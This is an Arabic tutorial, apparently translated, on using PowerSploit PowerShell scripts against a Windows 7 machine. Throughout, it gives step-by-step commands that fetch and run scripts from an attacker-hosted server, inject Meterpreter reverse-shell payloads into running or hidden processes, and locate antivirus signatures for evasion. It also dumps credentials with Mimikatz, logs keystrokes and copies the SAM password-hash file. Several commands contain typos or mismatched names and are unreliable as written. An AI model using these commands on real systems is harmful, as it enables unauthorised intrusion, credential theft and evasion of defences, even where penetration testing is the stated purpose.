مقال : شرح إستخدام سكربتات PowerSploit وإستغلالها على نظام ويندوز
PowerSploit عبارة عن مجموعة من السكريبتات (PowerShell scripts) التي يمكن استخدامها في مرحلة الاستغلال exploitation و مرحلة ما بعد الاستغلال post exploitation في عمليات اختبار الاختراق.
يمكنك الحصول على أحدث نسخة من PowerSploit من هنا.
كما يمكنك استخدام التعليمة التالية لتحميل PwoerSpolit بشكل مباشر من github باستخدام الأمر التالي :
git clone https://github.com/mattifestation/PowerSploit.git
من أجل تشغيل هذه السكريبتات يجب أن يكون الجهاز الهدف يحوي على Microsoft PowerShell وهو موجود ومنصب بشكل تلقائي في نظام التشغيل Windows 7 والأنظمة ذات الإصدارات الأحدث.
في السيناريو التالي نفترض أن لدينا اتصال remote desktop connection مع الجهاز الهدف الذي يعمل بنظام التشغيل Windows 7 Ultimate 64-bit ويحوي بشكل تلقائي على PowerShell منصب بشكل مسبق. من أجل تسهيل عملية الوصول وتشغيل سكريبتات PowerSploit في جهاز الهدف سوف نقوم بتشغيل سيرفر ويب باستخدام البايثون وذلك باستخدام التعليمة التالية ضمن المسار الخاص بمجلد powersploit لتسهيل عملية جلب الملفات من جهازنا الى الجهاز المراد تنفيذ السكربتات فيه .
python –m SimpleHTTPServer
الان يمكننا الوصول لكل الملفات الموجودة في المجلد PowerSploit من خلال المتصفح عبر الرابط التالي:
http://<ip_address>:8000/
السكريبتات الموجودة في PowerSploit موزعة ضمن التصنيفات التالية:
التصنيف |
الوصف |
Antivirus Bypass | إيجاد البايتات bytes المطابقة للبصمة أو التوقيع signature المكتشف من قبل مضاد الفيروسات. |
Code Execution | تنفيذ الكود في الجهاز الهدف. |
Exfiltration | جمع البيانات والمعلومات من الجهاز الهدف. |
Persistence | المحافظة على التحكم بالجهاز الهدف من خلال إضافة سكريبت يضمن عملية المحافظة على الوصول persistence script |
PE Tools | مفيدة في عملية Enumeration في الجهاز الهدف. |
Recon | تنفيذ عمليات الاستطلاع في الجهاز الهدف. |
Revers Engineering | تساعد في عمليات الهندسة العكسية وتحليل البرمجيات الخبيثة. |
Script Modification | انشاء وتعديل السكريبتات في الجهاز الهدف. |
في هذا المقال سوف نشرح أكبر قدر ممكن من سكريبتات PowerSploit , بعض السكريبتات التي لن نشرحها تحتاج لمتطلبات محددة في البيئة الهدف (مثل وجود Active Directory) مثل بعض السكريبتات ضمن التصنيف Exfiltration.
من أجل تنصيب وتشغيل script PowerShell نستخدم التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/full_path/script_name.ps1”)
Invoke-Shellcode:
تستخدم من أجل حقن وتنفيذ shellcode معين أو Metasploit payload في عملية موجودة أو في عملية جديدة. الميزة من استخدام هذه التعليمة أنها غير مكتشفة من قبل مضادات الفيروسات وتعمل بدون أن تقوم بالكتابة على القرص الصلب.
يمكننا تنصيب “Code Execution PowerShell script “invoke-ShellCode باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-Shellcode.ps1”)
للحصول على بعض المعلومات الأساسية يمكننا استخدام التعليمة التالية:
Get-Help Invoke-Shellcode
يمكننا حقن payload في العملية الحالية الخاصة ب PowerShell للحصول على جلسة اتصال عكسي meterpreter reverse HTTPS باستخدام التعليمة التالية:
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.0.0.14 -Lport 4444 –Force
يجب أن نقوم بإعداد Handler في الميتاسبلويت قبل القيام بعملية الحقن من أجل استقبال الاتصال العكسي وتتم هذه العملية من خلال فتح الميتاسبلويت وكتابة التعليمات التالية:
use exploit/multi/handler
set payload windows/meterpreter.reverse_https
set LHOST 10.0.0.14
set LPORT 4444
exploit
حاليا, يوجد فقط 2 Metasploit payload مدعومة وهي:
Windows/meterpreter/revers_http
Windows/meterpreter/reverse_https
إذا كنا نريد حقن payload في عملية أخرى، يمكن أن نقوم بأنشاء عملية جديدة ومن ثم نحق بها أو أن نقوم بعملية الحقن في عملية أخرى موجودة مسبقاً.
الحقن في عملية موجودة مسبقاً:
يجب أن نعرف رقم العملية PID – Process ID ويتم ذلك باستخدام التعليمة :
Get-Process
في هذا المثال سنقوم بحقن Metasploit payload في العملية “svchost” ذات الرقم PID: 1228
Invoke-Shellcode –Processid 1228 –Payload windows/meterpreter/reverse_https _Lhost 10.0.0.14 –Lport 4444
يجب أن نقوم بإعداد handler في الميتاسبلويت ليقوم باستقبال الاتصال العكسي وعند القيام بعملية الحقن السابقة سوف نحصل على جلسة meterpreter مع الجهاز الهدف
الحقن في عملية جديدة:
يجب أن نقوم أولاً بانشاء عملية مخفية باستخدام التعليمة التالية:
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
ومن ثم القيام بعملية الحقن باستخدام التعليمة التالية:
Invoke-Shellcode –Processid 1476 –Payload windows/meterpreter/reverse_https _Lhost 10.0.0.14 –Lport 4444
يجب أن نقوم بإعداد handler في الميتاسبلويت قبل القيام بعملية الحقن وسوف نحصل على جلسة meterpreter مع الجهاز الهدف
Invoke-DllInjection:
هذه التعليمة تستخدم لحقن ملف DDL في عملية موجودة من خلال استخدام رقم العملية PID – Process ID . إحدى نقاط ضعف هذه التعليمة أنها تتطلب كتابة DDL على القرض الصلب.
يمكننا تنصيب PowerShell script “invoke-Dllinjection” على الجهاز الهدف باستخدام التعلية التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-DllInjection.ps1”)
يمكننا توليد Metasploit meterpreter DLL باستخدام Msfvenom باستخدام التعليمة التالية في نظام الكالي:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.14 LPORT=4444 -f dll > msf.dll
ومن ثم نقل هذا الملف إلى الجهاز الهدف من خلال تحميله بواسطة HTTP download أو بأي طريقة أخرى ثم انشاء عملية مخفية باستخدام التعليمة:
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
ومن ثم حقن DLL في هذه العملية
Invoke-DllInjetion -ProcessID 2240 -Dll c:\users\master\Desktop\msf.dll
وسوف نحصل على جلسة meterpreter مع الجهاز الهدف
Find-AVSignature:
تستخدم من أجل تقسيم الملف إلى عدد من الأجزاء بحجم محدد وحفظ هذه الأجزاء في ملفات منفصلة لنتمكن من تحديد أي الأجزاء التي سيتم اكتشافها وعزلها أو حذفها من قبل مضاد الفيروسات الموجود في الجهاز الهدف وبهذه الطريقة نستطيع تحديد الأجزاء التي تحوي على التوقيع أو البصمة signature المكتشفة من قبل مضاد الفيروسات.
يمكننا تنصيب “PwerShell script “Find-AVSignature في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/AntivirusBypass/Find-AVSignature.ps1”)
ومن ثم نقوم بالبحث عن الجزء الذي يحوي على البصمة أو التوقيع المكتشف من قبل مضاد الفيروسات باستخدام التعليمة التالية:
Find-AVSignature -StartByte 0 -EndByte 6144 -Interval 50 -Path C:\test\exempt\nc.exe -OutPath c:\users\master\Desktop\msf.exe -OutPath c:\users\master\Desktop\run1 –Verbose
مضاد الفيروسات الموجود في الجهاز الهدف سيقوم بكشف أجزاء الملف الخبيثة والتي تحوي على البصمة أو التوقيع signature
الآن يمكننا رؤية bytes of “msf.exe” التي تحوي على البصمة أو التوقيع المكتشف من قبل مضاد الفيروسات.
Get-DllLoadPath:
تستخدم من أجل إيجاد المسار الذي يقوم الملف التنفيذي بالبحث عنه من أجل تحميل ملف DLL , مثلاً لتحديد المكان الذي يقوم برنامج “cmd.exe.” بالبحث عنه من أجل تحميل “shell32dll” DLL file
باستخدام هذه المعلومات يمكننا تبديل ملف DLL الأصلي بملف DLL خبيث لنحصل على جلسة عكسية أو تنفيذ مهمة أخرى بعد تشغيل هذا البرنامج، وهذه العملية مفيدة جداً في تجاوز الصلاحيات privilege escalation.
يمكننا تنصيب PowerShell script “Find-DllLoadPath” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/PETools/Get-DllLoadPath.ps1”)
لمعرفة من أي موقع يقوم البرنامج “Acroat.exe” بتحميل ملف “shell32dll” DLL نستخدم التعليمة التالية:
Get-DllInjection –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.d
Invoke-Portscan:
تستخدم من أجل القيام بفحص المنافذ port scan لمعرفة المنافذ المفتوحة بشكل مشابه لأداة nmap
يمكننا تنصيب PowerShell script “Invoke-Portscan” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-Portscan.ps1”)
ومن ثم البدء بعملية فحص لعدد من المنافذ والأجهزة باستخدام التعليمة التالية:
Invoke-Portscan -Hosts 10.0.0.1,10.0.0.2,10.0.0.7,10.0.0.14 -Ports “23,22,21,8080,8000,3389”
لمعرفة كل الخيارات المستخدمة يمكننا استخدام التعليمة التالية:
Get-Help Invoke-PortScan –full
كما يمكن حفظ النتيجة في ملف خارجي باستخدام إحدى الخيارات التالية: oG, -oX and –oA-
Invoke-ReverseDnsLookup:
تستخدم من أجل إيجاد سجلات DNS PTR للحصول على عنوان IP المقابل لعنوان DNS.
يمكننا تنصيب Recon PowerShell script “Invoke-ReverseDnsLookup” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-ReverseDnsLookup.ps1”)
ومن ثم استخدام التعليمة التالية:
Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>
Get-HttpStatus:
تستخدم من أجل البحث في سيرفر الويب عن أكود الحالة الخاصة بطلبات HTTP وتقبل ملف نصي يحوي على مسار البحث في سيرفر الويب.
يمكننا تنصيب Recon PowerShell script “Get-HttpStatus” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Get-HttpStatus.ps1”)
ومن ثم استخدام التعليمة التالية:
Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt
إذا كان السيرفر يستخدم SSL يمكننا اضافة “-UseSSl” لإرسال طلبات HTTPS
Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt –UseSSL
وإذا كانت الخدمة تعمل على منفذ مختلف مثل 8080 او 8000 يمكننا اضافة “-Port” لتحديد المنفذ المستخدم
Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list.txt -Port 8080
Get-Strings:
تستخدم لإيجاد محارف Unicode or ASCII في ملف معين.
يمكننا تنصيب Reverse Engineering PowerShell script “Get-Strings” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/ReverseEngineering/Get-Strings.ps1”)
ومن ثم يمكننا استخدام التعليمة التالية:
Get-Strings -Path <file_name_with_path>
سكريبتات الهندسة العكسية تم نقلها من PowerSploit إلى PowerToolArsenal يمكن زيارة الرابط هنا
Invoke-Mimikatz:
عبارة عن تطبيق لمشروع Mimkatz خاص ب PowerShell والتي يمكن أن تستخدم من أجل الحصول على كلمات السر الخاصة بالجهاز الهدف وهي من أكثر الأدوات المفيدة في عملية اختبار الاختراق.
يمكننا تنصيب Exfiltration PowerShell script “Invoke-Mimikatz” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-Mimikatz.ps1”)
ومن ثم يمكننا استخدام التعليمة التالية:
Invoke-Mimikatz –DumpCreds
Get-Keystrokes:
تستخدم من أجل تسجيل كل حرف يتم كتابته باستخدام لوحة المفاتيح في الجهاز الهدف ويتم حفظ السجل في نفس الجهاز ضمن المجلد temp
يمكننا تنصيب Exfiltration PowerShell script “Get-Keystrokes” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Get-Keystrokes.ps1”)
ومن ثم يمكننا استخدام التعليمة التالية:
Get-Keystrokes -LogPath c:\users\master\desktop\keylogger.txt
السجل يتم حفظه في المسار التالي:
c:\users\master\desktop\keylogger.txt
Invoke-NinjaCopy:
تستخدم من أجل نسخ الملفات المحمية ضد النسخ أثناء فترة عمل النظام.
يمكننا تنصيب Exfiltration PowerShell script “Invoke-NinjaCopy” في الجهاز الهدف باستخدام التعليمة التالية:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-NinjaCopy.ps1”)
ومن ثم استخدام التعليمة التالية من أجل نسخ محتوى الملف SAM الذي يحوي على الهاشات الخاصة بكلمات السر
Invoke-NinjaCopy -Path “C:\Windows\System32\config\SAM” -LocalDestination “C:\Users\master\Desktop\SAM”
إذا حاولنا القيام بهذه العملية باستخدام تعليمة copy فلن تنجح هذه العملية وسوف نحصل على رسالة خطأ
ترجمة لمقال : PowerShell Toolkit: PowerSploit لصاحبها Interference Security .
بارك الله فيكم
جعله الله في ميزان حسناتك